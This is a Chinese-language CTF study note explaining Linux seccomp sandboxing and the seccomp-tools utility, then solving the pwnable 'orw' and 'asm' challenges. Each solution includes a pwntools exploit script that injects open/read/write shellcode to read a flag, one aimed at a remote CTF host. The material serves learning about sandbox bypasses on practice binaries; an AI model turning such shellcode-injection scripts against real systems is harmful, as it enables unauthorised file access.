pwn 之 沙箱機制
- 2022 年 4 月 25 日
- 筆記
0x00: 簡介
沙箱機制,英文sandbox,是電腦領域的虛擬技術,常見於安全方向。一般說來,我們會將不受信任的軟體放在沙箱中運行,一旦該軟體有惡意行為,則禁止該程式的進一步運行,不會對真實系統造成任何危害。
安全計算模式seccomp(Secure Computing Mode)在Linux2.6.10之後引入到kernel的特性,可用其實現一個沙箱環境。使用seccomp模式可以定義系統調用白名單和黑名單。seccomp機制用於限制應用程式可以使用的系統調用,增加系統的安全性。
在ctf中主要通過兩種方式實現沙箱機制:
- prctl系統調用;
- seccomp庫函數;
0x01: 函數限制檢測工具seccomp-tools
安裝:
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
使用:
0x02: 例題實踐
Pwnable_orw:
通過checksec可以看出其架構,遠程的也是這個。
如果使用shellcraft、asm模組,要配置相對應的架構,可以通過context.binary = “./xxx”自動地完成配置。

用seccomp-tools dump ./orw檢查受限函數:
允許的函數主要有open、read、write系統調用函數,用這個函數讀取flag。

用32位的IDA打開進行分析:

沒有數據段不可執行保護,所以直接往bss裡面寫shellcode就可以了。通過shellcode寫入後,後面第6行就進行執行了。
Exp: from pwn import * context.log_level = "debug" context.binary = "./orw" io = process("./orw") #io = remote("node4.buuoj.cn",27178) bss = 0x804A060 payload = shellcraft.open("flag") payload += shellcraft.read(3,bss + 100, 100) payload += shellcraft.write(1,bss + 100, 100)
io.recvuntil("Give my your shellcode:") io.sendline(asm(payload)) print(io.recv())
Pwnable_asm:
先用checksec工具檢查架構和其保護機制,然後使用seccomp-tools工具檢查受限制函數(這步是在打開IDA後,看到sandbox函數後進行的)。

從圖可以看出,僅被允許的系統調用有:read()、write()、open()和exit()。(這個在IDA的注釋裡面也有說明~)
用64位IDA打開分析程式:

函數分析:
- 12行用mmap映射了一段0x1000B大小的匿名空間,起始地址為s = 0x41414000;
- 13行將開闢的空間用144進行初始化,144是啥?0x90。根據注釋說是用shellcode解法,應該是製作了nop滑梯。
- 15行將stub數組賦給了匿名空間前段,stud是啥?由於ida中該數組的值顯示有點零散,所以我就在pwnable網站查看了源程式碼:stud[46] = “\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48”,反彙編:(其實就是清空暫存器,好像不影響寫入shellcode)

- 17行接著向後面輸入數據,關鍵點:寫入我們想要shellcode進行執行。
- 19行chroot(directory):將該進程的根目錄改為directory。可以防止我們找不到遠程中的路徑,我們直接open(“./flag”)就行。
- 20行sandbox開沙箱機制嘛~
- 21行應該是ida分析有誤,源程式碼是沒有參數的:((void (*)(void))s)();就是從s那裡開始執行。
分析完程式,已經很明顯了,和上一題一樣。通過17行寫入shellcode,然後21行會進行執行。
Exp: from pwn import * context.log_level = 'debug' context.binary = './asm' #io = process("./asm") io = remote("node4.buuoj.cn",26533) addr = 0x41414000 + 0x100 payload = shellcraft.open("flag") payload += shellcraft.read(3, addr, 0x30) payload += shellcraft.write(1,addr, 0x30) io.recvuntil("give me your x64 shellcode: ") io.sendline(asm(payload)) print(io.recv())
0x03: 最後
初步接觸,有些地方沒思考得太透。所以,有疑惑的朋友可以在評論區提出,互相交流學習。
tolele
2022-04-25




